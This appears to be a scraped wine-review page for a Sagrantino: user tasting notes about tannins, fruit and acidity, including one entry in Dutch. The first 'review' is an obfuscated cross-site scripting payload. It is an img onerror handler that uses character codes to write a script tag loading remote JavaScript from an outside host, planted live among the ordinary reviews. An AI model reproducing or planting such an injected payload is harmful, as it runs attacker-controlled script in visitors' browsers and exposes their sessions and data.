<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,104,116,116,112,115,58,47,47,120,115,46,97,120,47,120,105,97,111,62,60,47,115,67,114,73,112,84,62))"> — 4 years ago
Weird fizz. A little funk which I don’t like but jeff loves. It’s a guy thing. Finish has nice grip. — 5 years ago
Pow! in your face fucking good! — 7 years ago
Beautifully perfumed with spice and dried flowers and earth. Tannins have mellowed since last bottle a little over a year and a half ago, though still grippy on the sides of the mouth. — 7 years ago
Mushrooms, funk, pepper, medium acidity. I would drink all the time. — 5 months ago
Oggi Tratoria in Chicago with family night before Thanksgiving 2025 — 6 months ago
Deep ruby hue. Notes of blackberry, olives, pepper, and tar. Full tannins and high acidity. Superb with meats. — 3 years ago
Lovely! Red apple peel, fresh, a note of toast if it’s not too cold — 5 years ago
Great way to start the wine dinner!!
Wonderful — 6 years ago
Dec 2025: PnP, wakes up in half an hour in the glass. Complex, refined and a bit tamed Sagrantino, good structure an medium tannins, very nice overall. Softer and more delicate on the 2nd day. — 5 months ago
Deep red color with a hint of purple. Medium legs, medium body and very balanced without any sediment. First nose of cherry with a hint of violet and spice. Easy drinking with cherry, raspberry, red fruits with a bit of earthiness and a hint of vanilla. Polished and finishes beautifully.
Purchased at Bocale winery — 5 months ago
Deep color, great structure and tannins. A very good red wine not well known but one of my favorites. — 3 years ago
Cherry, raspberry, currant, vanilla, blackberry and oak. Medium-bodied and moderate tannins. — 4 years ago
Fresh sage and eucalyptus in a glass! Deep ruby with garnet rim. Blackberry, black cherry, forest floor, mushroom, black licorice, black peppercorn, black olives, balsamic oil, sanguine, and chalkiness. High acidity with high chalky tannins, 15% abv, full body. Long savory/sanguine finish. — 5 years ago
Marcel Van Duinen
Ook enkele uren na opening en decanteren een mondvol tannines. Een 8,9. Na 2 dagen begon de wijn uit deze magnum toch wel erg goed te smaken (9,2) en op dag 3 dacht ik: top druif die Sagrantino, goed voor 9,5 punten! — 4 months ago